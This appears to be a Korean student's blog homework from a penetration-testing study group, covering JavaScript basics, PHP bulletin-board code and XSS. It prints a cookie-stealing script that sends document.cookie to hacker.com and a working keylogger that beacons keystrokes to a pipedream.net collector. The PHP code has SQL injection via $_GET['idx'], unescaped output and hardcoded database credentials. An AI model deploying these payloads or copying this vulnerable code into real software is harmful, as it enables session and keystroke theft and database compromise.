모의해킹스터디_과제

4주차 과제

해커1 2023. 12. 6. 12:22

과제 내용

[1] 오늘 수업 복습

  • Burp : CTF 문제

[2] Javascript

  • 문법(수업 노트)
  • 쿠키 탈취 코드 vs 키로거

[3] 게시판 구현

  • 게시판 글 작성 : insert - 회원가입
  • 게시판 글 리스트 보기 : select
  • 게시판 글 내용 읽기 : select
  • 게시판 글 수정 : update - 마이페이지
  • 게시판 글 삭제 : delete

 

[2.1] JavaScript 문법

javascript(줄여서 js)의 기본적인 문법을 익히는 과제가 나왔다. 앞으로 배울 해킹 기법이 js를 많이 사용하는 것 같다. 사실 js가 없는 html 페이지가 거의 없듯이 웹 해킹에 앞서 js를 익히는 것은 당연하다.

수업 노트에 익혀야할 몇몇 파트가 적혀있어 여기서 다시 정리해 본다.

 

 

1. client side script

js는 html, css처럼 클라이언트 측에서 실행되는 스크립트 언어다. 

클라이언트에서 실행되어 결과가 서버로 전송되어 진다.

사용자와 상호작용 하여 동적인 페이지를 만드는데 중요하다.

 

2. 변수

<script>
   var a = 123;
   var b = 'test';
   let c = 123;
   let d = 'test';
</script>

 

변수에 자료형 구분을 하지 않는다. var는 전역변수, let은 지역변수를 의미한다.

동시에 초기값을 선언하는데 아무것도 입력되지 않았다면 undefined 값을 지닌다.

 

3. 상수

<script>
   const a = 123;
   a = 'test'; //Error
</script>

 

const는 지역 상수를 의미한다. 상수는 수정할 수 없다.

 

4. 출력

<script>
   let data = 'test';
   console.log(data);  //웹 브라우저 콘솔 화면에 출력
   alert(data);        //별도의 새 창에 출력
   prompt(data);       //새 창에 문자열을 받을 수 있는 입력란과 함께 메세지를 출력
   confirm(data);      //새 창에 boolean값을 선택할 수 있는 버튼과 메세지를 출력
</script>

 

5. 조건

<script>
   let data = 'test';
   if(data == 'test'){
      console.log("Same!");
   }else{
      console.log("Not Same!");
   }
</script>

 

기본적으로 c와 비슷한 조건문 형식을 가진다.

 

6. 반복

 

- for of

<script>
   for(var i=0; i<10; i++){
      console.log(i);
   }
</script>

 

- for in

<script>
   let info = {name: "normaltic", score: "100", userid: "normaltic"};
   for(let key in info){
      console.log(key + " : " + info[key]);
   }
</script>

 

- while

<script>
   var i=0;
   while(i<10){
      console.log(i);
      i++;
   }
</script>

 

7. 함수

<script>
   function showshow(data){
      alert(data);
   }
   showshow('test');
</script>

 

[2.2] JavaScript 쿠키 탈취 코드 vs 키로거

1. 쿠키 탈취 코드

<script> document.location = http://hacker.com/cookie? + document.cookie </script>

- document.location : 내용을 외부의 사이트로 보낼 수 있음.

- document.cookie : 세션의 쿠키 값을 읽음. 

 

위의 script 코드를 사이트의 게시판 등을 통해 페이지에 삽입하면 쿠키 값을 읽어 외부로 보낼 수 있다.

이렇게 악의적인 스크립트 문을 웹 페이지에 삽입해 코드를 실행시키는 공격을 크로스 스크립트 사이트 공격 (XSS) 라고 한다.

 

 

2. 키로거

    <script>
        var keys = "";
        var hackUrl = 'https://en4rpqv48x3qc.x.pipedream.net?c='

        document.onkeypress = function(e) {
            get = window.event?event:e;
            key = get.keyCode?get.keyCode:get.charCode;
            key = String.fromCharCode(key);
            keys+=key;
        }

        window.setInterval(function(){
            if(keys != '') {
                new Image().src = hackUrl + keys;
                keys = '';
            }
        }, 200);
    </script>

 

 

 

 

[3] 게시판 만들기

게시판을 만드는 게 생각보다 오래 걸렸다. DB에서 데이터를 뽑아 그 내용을 하나씩 페이지에 넣어 나열한다는 게 쉽지 않았는데, 다행히 좋은 사례가 있어서 참고하며 만들었는데 php 코드가 이렇게도 할 수 있는지 그 활용성에 놀라면서 작성했던 것 같다.  

 

 

추가로 작성한 파일

board.php, board_write.php, board_write_check.php

content.php, content_update.php, content_update_check.php, content.delete.php

board- 파일들은 게시판 글을 전체적으로 보여주며 글을 작성할 수 있게 하는 파일들이고,
content- 파일들은 작성된 글 하나를 보여주며 수정 및 삭제를 할 수 있게 하는 파일들이다.

 

board.php를 강조한 것은 이 중에서 가장 작성하기 어려웠다는 뜻.. 어려운만큼 새로운 것들을 배우긴 했다.

 

 

 

board.php

<?php
session_start();
define("DB_SERVER", 'localhost');
define("DB_USERNAME", 'admin');
define("DB_PASSWORD", 'student1234');
define("DB_NAME", 'db_test');
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
$sql = "SELECT * FROM board ORDER BY idx DESC LIMIT 0, 10";
$result = mysqli_query($db_conn, $sql);
?>
<!doctype html>
<html lang="ko">

<head>
  <meta charset="utf-8">
  <link rel="stylesheet" href="bootstrap_4.4.1/css/bootstrap.min.css">
  <title>Board</title>
  <style>
    html,
    body {
      height: 100%;
    }

    .container {
      width: 50%;
      padding-top: 40px;
      padding-bottom: 40px;
      background-color: #f5f5f5;
      margin-top: 5%;
    }

    footer {
      width: 50%;
      text-align: left;
      margin: 0 auto;
    }
  </style>
</head>

<body>
  <nav class="navbar bg-dark border-bottom border-body" data-bs-theme="dark">
    <a class="navbar-brand" href="index.php">Home</a>
  </nav>
  <div class="container">
    <div id="board_area">
      <h1>자유게시판</h1>
      <h4>자유롭게 글을 쓸 수 있는 게시판입니다.</h4>
      <table class="table table-hover">
        <thead>
          <tr>
            <th width="70">번호</th>
            <th width="500">제목</th>
            <th width="120">글쓴이</th>
            <th width="100">작성일</th>
          </tr>
        </thead>
        <?php
        // board테이블에서 idx를 기준으로 내림차순해서 10개까지 표시
        while ($row = mysqli_fetch_array($result)) {
          //title변수에 DB에서 가져온 title을 선택
          $title = $row["title"];
          if (strlen($title) > 30) {
            //title이 30을 넘어서면 ...표시
            $title = str_replace($row["title"], mb_substr($row["title"], 0, 30, "utf-8") . "...", $row["title"]);
          }
          ?>
          <tbody>
            <tr>
              <td width="70">
                <?php echo $row['idx']; ?>
              </td>
              <td width="500"><a href="/content.php?idx=<?php echo $row["idx"]; ?>">
                  <?php echo $title; ?>
                </a></td>
              <td width="120">
                <?php echo $row['userName'] ?>
              </td>
              <td width="100">
                <?php echo $row['date'] ?>
              </td>
            </tr>
          </tbody>
        <?php } ?>
        <?php mysqli_close($db_conn); ?>
      </table>
      <div id="write_btn">
        <a href="board_write.php"><button>글쓰기</button></a>
      </div>
    </div>
  </div>
  <footer class="footer">
    <p>&copy; normaltic</p>
  </footer>
</body>

</html>

 

이 코드에서 놀라웠던 점은 php 로 반복문을 작성할 때 php 코드 사이의 html 코드도 함께 반복할 수 있다는 점이었다.

php.. 생각보다 강력한 언어같다.

 

 

 

하나 더 주목할 점은 게시판에 보이는 글 중 하나를 보려면 DB에서 해당 글의 idx를 가져와

GET 방식으로 전달하는 점이다.

<td width="500"><a href="/content.php?idx=<?php echo $row["idx"]; ?>">

 

그러면 content.php에서 GET방식으로 받은 idx를 이용해 board테이블에서 해당하는 글을 불러와

페이지에 보여줄 수 있다.

 

 

 

content.php

<?php
session_start();
define("DB_SERVER", 'localhost');
define("DB_USERNAME", 'admin');
define("DB_PASSWORD", 'student1234');
define("DB_NAME", 'db_test');
$content_num = $_GET['idx'];
$db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
$sql = "SELECT * FROM board WHERE idx='{$content_num}'";
$result = mysqli_query($db_conn, $sql);
$row = mysqli_fetch_array($result);
mysqli_close($db_conn);
?>
<!doctype html>
<html lang="ko">

<head>
  <meta charset="utf-8">
  <link rel="stylesheet" href="bootstrap_4.4.1/css/bootstrap.min.css">
  <title>Content</title>
  <style>
    html,
    body {
      height: 100%;
    }

    .container {
      width: 50%;
      padding-top: 40px;
      padding-bottom: 40px;
      background-color: #f5f5f5;
      margin-top: 5%;
    }

    footer {
      width: 50%;
      text-align: left;
      margin: 0 auto;
    }
  </style>
</head>

<body>
  <nav class="navbar bg-dark border-bottom border-body" data-bs-theme="dark">
    <a class="navbar-brand" href="index.php">Home</a>
  </nav>
  <div class="container">
    <table class="table table-hover">
      <tbody>
        <tr>
          <th>제목</th>
          <td>
            <?php echo $row['title']; ?>
          </td>
        </tr>
        <tr>
          <th>글쓴이</th>
          <td>
            <?php echo $row['userName']; ?>
          </td>
        </tr>
        <tr>
          <th>날짜</th>
          <td>
            <?php echo $row['date']; ?>
          </td>
        </tr>
        <tr>
          <th>내용</th>
          <td>
            <?php echo nl2br("$row[content]"); ?>
          </td>
        </tr>
      </tbody>
    </table>
    <div class="btn-group btn-group-sm">
      <button type="button" class="btn btn-primary" onclick="location.href='board.php'">[목록으로]</button>
      <button type="button" class="btn btn-primary" onclick="location.href='content_update.php?idx=<?php echo $row['idx']; ?>'">[수정]</button>
      <button type="button" class="btn btn-primary" onclick="location.href='content_delete.php?idx=<?php echo $row['idx']; ?>'">[삭제]</button>
    </div>
  </div>
  <footer class="footer">
    <p>&copy; normaltic</p>
  </footer>
</body>

</html>

 

 

다른 코드들은 이전에 mypage나 회원가입 페이지를 작성했던 방식과 비슷해서 굳이 여기에 올릴 이유는 없을 것 같다.

 

아무튼 이렇게 해서 게시판 만들기를 완성했다.

게시판이 '로그인 페이지 만들기' 프로젝트의 마지막이라고 들었던 것 같은데,

이제부터는 각자 만든 페이지를 이용해서 해킹 기법을 배우는 데 집중하지 않을까 싶다.

 

 

 

게시판

1. 게시판

 

참조

 

문법과 자료형 - JavaScript | MDN

이 장은 JavaScript의 기본 문법과 변수 선언, 자료형 및 리터럴을 다룹니다.

developer.mozilla.org

 

웹해킹 #5 크로스 사이트 스크립팅 공격 (XSS)

1. 크로스 사이트 스크립팅 공격 - 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격 - "자바스크립트"를 이용

rsy99.tistory.com

 

XSS 실습 - 피싱 사이트

안녕하세요 저번에 이어서 한 번 피싱 사이트를 만들어 보겠습니다. 일단 피싱 사이트을 만들면 되겠죠? 그럴싸하게 저희가 들어가는 페이지랑 이름 비슷하게 만들겠습니다. xss_7 폴더에 logIn.htm

mynameisarke.tistory.com

 

[PHP] 게시판 만들기(DB테이블 만들기)#1

※ 2018/07/07 전격 수정 ※ 2020/04/20 내용 수정 ※ 2020/11/24 내용 수정 ※ 2020/12/13 내용 수정 ※ ...

blog.naver.com